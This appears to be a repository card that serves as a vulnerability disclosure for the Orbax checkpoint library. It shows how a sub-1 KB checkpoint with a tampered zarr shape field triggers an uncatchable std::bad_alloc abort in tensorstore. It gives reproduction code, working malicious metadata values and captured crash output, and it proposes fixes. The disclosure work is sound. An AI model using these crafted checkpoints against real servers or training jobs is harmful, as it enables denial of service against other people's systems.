You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Orbax PyTreeCheckpointer restore: attacker-controlled zarr .zarray shape/chunks metadata drives an unbounded native allocation in tensorstore -> uncatchable std::bad_alloc -> std::terminate -> SIGABRT (process-abort DoS) from a <1 KB checkpoint

Target

  • Project: Orbax (orbax-checkpoint) β€” the Flax/JAX checkpoint library
  • Vulnerable version tested: orbax-checkpoint 0.12.1
  • Toolchain (exact, verified): flax 0.12.7, orbax-checkpoint 0.12.1, jax 0.10.2, numpy 2.5.1, tensorstore 0.1.84, Python 3.13, Linux x86_64
  • Attacker-reachable entry point: orbax.checkpoint.PyTreeCheckpointer().restore(dir) (standard public loader API), consuming an untrusted on-disk checkpoint directory.
  • Vulnerability class: Untrusted-metadata-driven unbounded allocation -> denial of service (uncatchable process abort). CWE-789 (Memory Allocation with Excessive Size Value) / CWE-248 (Uncaught Exception) / CWE-400 (Uncontrolled Resource Consumption).

Summary

When an Orbax PyTree checkpoint is stored as plain (non-OCDBT) zarr, each leaf array is opened through tensorstore using the on-disk zarr metadata file <leaf>/.zarray. The shape and chunks fields of that JSON are fully attacker-controlled and are passed straight through to tensorstore with no bound / sanity validation by orbax β€” no cross-check against the actual amount of stored data, no cap on total element count, no cap on chunk-grid cardinality.

tensorstore's C++ zarr driver then attempts to build native structures sized by the declared geometry. For a single giant chunk it tries to allocate the full per-chunk / output buffer (e.g. 156 TiB); for many tiny chunks it tries to materialize a chunk-grid index structure of 10^12+ entries. Either way the native allocation fails and throws C++ std::bad_alloc. That exception propagates across a noexcept / terminate boundary in tensorstore's async/C++ layer, so it is not converted to a Python exception β€” std::terminate() runs and the whole process is killed with SIGABRT (exit 134).

Because it is a native abort, a Python try/except Exception around restore() cannot catch it. An attacker who can get a victim to load an untrusted checkpoint (a ubiquitous supply-chain scenario for shared model weights) can hard-kill the victim process with a checkpoint under 1 KB on disk.

Root cause

Orbax's array TypeHandler deserializes each leaf by opening it with tensorstore using the on-disk zarr metadata verbatim. Conceptually:

# orbax/checkpoint array TypeHandler -> tensorstore.open(spec)
# spec['metadata'] is read from <leaf>/.zarray with NO validation of
# shape / chunks against the actual stored byte count.
t = await ts.open(tspec)          # tensorstore C++ zarr driver
result = await t.read()           # allocates buffers sized by declared shape/chunks

The declared geometry is trusted. There is no check that prod(shape) * dtype_size is anywhere near the bytes actually present on disk, nor a cap on prod(shape) or on the number of chunks prod(ceil(shape[i]/chunks[i])). tensorstore honors the declared geometry and attempts the corresponding native allocation, which fails with std::bad_alloc inside a noexcept boundary -> std::terminate -> SIGABRT.

A fix belongs in orbax (validate/limit array metadata β€” total elements, per-chunk bytes, chunk-grid cardinality β€” against the actual stored data before calling tensorstore.open) and/or in tensorstore (surface a catchable error instead of aborting the process on allocation failure).

Proof of Concept

The PoC uses only Orbax's own public API to build a legitimate checkpoint, tampers a single JSON field, then loads via the standard public loader.

  1. Build a normal, benign checkpoint with Orbax itself (plain zarr, use_ocdbt=False):

    import numpy as np, orbax.checkpoint as ocp
    tree = {"w": np.arange(6, dtype=np.float32).reshape(2, 3)}
    h = ocp.PyTreeCheckpointHandler(use_ocdbt=False, use_zarr3=False)
    ocp.Checkpointer(h).save(dir, tree)
    

    Orbax writes the array metadata to dir/w/.zarray as JSON: {"chunks":[2,3],...,"shape":[2,3],"fill_value":null,...,"zarr_format":2}.

  2. Tamper only the .zarray shape field to an astronomically large value, e.g. shape=[6553600,6553600] (chunks left at [2,3], fill_value set to 0). Total on-disk checkpoint size stays ~754 bytes.

  3. Load with the standard public API:

    ocp.PyTreeCheckpointer().restore(dir)   # auto-detects plain-zarr; no handler args
    

    Result: the Python process is aborted with SIGABRT (exit 134), printing terminate called after throwing an instance of 'std::bad_alloc'. The restore() call was wrapped in try/except Exception and the post-try line never executed β€” proving the abort is uncatchable.

PoC files (in this repo): poc_final.py (modes: control | moderate | abort), restore_test2.py, and the mechanism harness mech.py.

Captured evidence (verbatim, re-run for this report)

Environment:

flax 0.12.7  orbax-checkpoint 0.12.1  jax 0.10.2  numpy 2.5.1  tensorstore 0.1.84  (Python 3.13, Linux x86_64)

Clean reproduction via the public API:

======== CONTROL ========
$ python poc_final.py control       -> control_exit=0
CONTROL: public restore OK, on-disk=723B, w.shape=(2, 3) sum=15.0

======== ABORT ========
$ python poc_final.py abort          -> abort_exit=134
ABORT: on-disk=754B declares 156.2 TiB; wrapping restore in try/except Exception...
terminate called after throwing an instance of 'std::bad_alloc'
  what():  std::bad_alloc
(the lines "ABORT: caught ..." and "ABORT: reached line after try/except" were
 NEVER printed -> the abort is uncatchable by Python try/except Exception)

Mechanism confirmed across three independent metadata variants, all via the public ocp.PyTreeCheckpointer().restore():

 A: shape=[6553600,6553600] chunks=[2,3]              -> exit=134  std::bad_alloc / terminate  (huge shape, tiny chunks -> giant chunk grid)
 B: shape=[6553600,6553600] chunks=[6553600,6553600]  -> exit=134  std::bad_alloc / terminate  (single giant 156 TiB chunk buffer)
 C: shape=[100000000000]    chunks=[1]                 -> exit=134  std::bad_alloc / terminate  (1-D, 10^11-entry chunk grid)

Negative control β€” the exact same checkpoint with the original, untouched .zarray (only difference: shape):

 {"chunks":[2,3],...,"fill_value":null,...,"shape":[2,3],"zarr_format":2}  -> restores fine, exit 0, w.shape=(2,3), sum=15.0

The only attacker change between "clean load" and "process abort" is the .zarray shape field ([2,3] -> [6553600,6553600], with fill_value null->0). On-disk checkpoint size is unchanged at ~750 bytes.

Impact

  • Denial of service via process abort. Loading a single untrusted checkpoint (< 1 KB) hard-kills the loading process with SIGABRT. The abort originates in native C++ and is uncatchable from Python, so defensive try/except Exception around restore() provides no protection β€” the entire host process (e.g. a model server, training job, or inference worker) dies.
  • Realistic delivery. Sharing pretrained checkpoints/weights is the norm in the JAX/Flax ecosystem; a malicious or tampered checkpoint is a plausible supply-chain vector. The malicious payload is a single-field edit to a plain JSON metadata file, indistinguishable in size from a benign checkpoint.

Dedup / prior-art note

  • Distinct from the msgpack tuple-recursion segfault in Orbax (huntr-poc-orbax-msgpack-tuple-recursion-segfault): that abuses the msgpack tree structure; this abuses the zarr array .zarray shape/chunks geometry driving a native allocation in tensorstore. Different code path, different sink, different crash signature (std::bad_alloc/SIGABRT vs recursion segfault).
  • Distinct from the netCDF/nczarr .zarray/chunks findings β€” different library and native stack (libnetcdf C vs tensorstore C++), different entry point (orbax PyTree loader).
  • No known CVE at time of writing assigns this Orbax->tensorstore untrusted-.zarray-shape path a process-abort DoS. The root-cause fix location (orbax validating array metadata before tensorstore.open, and/or tensorstore raising a catchable error on allocation failure) is reported here.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support